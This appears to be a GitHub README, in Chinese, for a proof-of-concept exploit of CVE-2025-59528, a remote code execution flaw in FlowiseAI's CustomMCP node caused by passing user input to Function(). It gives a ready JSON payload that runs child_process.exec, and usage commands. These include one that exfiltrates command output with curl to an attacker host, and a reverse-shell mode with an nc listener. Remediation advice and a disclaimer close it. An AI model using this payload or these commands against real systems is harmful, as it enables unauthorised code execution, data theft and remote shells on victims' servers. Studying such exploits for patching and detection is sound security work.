UsifAraby/CVE-2025-59528-POC
GitHub: UsifAraby/CVE-2025-59528-POC
揭示 FlowiseAI 中可通过恶意输入触发远程代码执行的严重漏洞并提供利用验证。
Stars: 0 | Forks: 0
# CVE-2025-59528 - FlowiseAI CustomMCP 远程代码执行
**CVSS 10.0 (严重)** | **盲 RCE** | **FlowiseAI Flowise >= 2.2.7-patch.1 且 < 3.0.6**
## 概述
[FlowiseAI Flowise](https://github.com/FlowiseAI/Flowise) 的 `CustomMCP` 节点中存在严重远程代码执行漏洞。`convertToValidJSONString` 函数将来自 `mcpServerConfig` 参数的用户输入直接传递给 JavaScript 的 `Function()` 构造函数,其功能等同于 `eval()`,允许在完整的 Node.js 运行时权限下执行任意 JavaScript 代码。
- **发现者:** Kim SooHyun ([@im-soohyun](https://github.com/im-soohyun))
- **安全公告:** [GHSA-3gcm-f6qx-ff7p](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p)
- **修复版本:** Flowise v3.0.6(将 `Function()` 替换为 `JSON5.parse()`)
## 漏洞代码
位于 `packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts` 的第 262–270 行:
```
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
```
污点传播流程:
```
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
```
## 利用
这是一个 **盲 RCE**,命令输出不会反映在 HTTP 响应中。请使用回调技术(curl/wget)或反向 shell 来确认执行。
### 要求
| 条件 | 说明 |
|---|---|
| Flowise 版本 | >= 2.2.7-patch.1,< 3.0.6 |
| 网络访问 | 默认端口 3000 的 API 端点 |
| 身份验证 | < 3.0.1 时可选,>= 3.0.1 时必需 |
### 载荷
```
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
```
## 用法
```
pip install requests
```
### 检查目标是否易受攻击(基于时间)
```
python3 exploit.py -t http://target:3000 --mode check --email user@email.com --password pass
```
### 盲命令执行
```
# 通过回调渗出输出
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email user@email.com --password pass
```
### 反向 Shell
```
# 启动监听器
nc -lvnp 4444
# 触发漏洞利用(自动尝试 bash、nc、python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email user@email.com --password pass
```
### 身份验证选项
```
# JWT 认证(Flowise >= 3.0.1)
--email user@email.com --password pass
# 基本认证(Flowise < 3.0.1 且设置 FLOWISE_USERNAME 环境变量)
--username admin --password pass
# 原始 Cookie 字符串(备用)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
```
## 修复建议
- **升级** 到 Flowise >= 3.0.6
- **限制** 通过防火墙/VPN 访问 API
- **启用** 所有实例的身份验证
- **监控** 对 `/api/v1/node-load-method/customMCP` 的 POST 请求日志
## 参考
- [NVD — CVE-2025-59528](https://nvd.nist.gov/vuln/detail/CVE-2025-59528)
- [GitHub 安全公告 — GHSA-3gcm-f6qx-ff7p](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p)
- [SonicWall 威胁分析](https://www.sonicwall.com)
- [修复提交 — Flowise v3.0.6](https://github.com/FlowiseAI/Flowise/compare/flowise@3.0.5...flowise@3.0.6)
## 免责声明
本工具仅供 **授权的安全测试和教育用途**。未经授权访问计算机系统是非法的。请始终在测试前获得明确授权。
标签:API 安全, CustomMCP, CVE-2025-59528, Flowise, FlowiseAI, Function 构造函数, GHSA-3gcm-f6qx-ff7p, JavaScript eval, MCP 节点, Node.js RCE, RCE, Web 应用安全, 代码执行漏洞, 任意代码执行, 全功能节点, 前端安全, 反向 shell, 反序列化, 命令执行, 回调技术, 攻击面, 服务端安全, 漏洞分析, 盲 RCE, 编程工具, 认证绕过, 路径探测, 远程代码执行, 逆向工具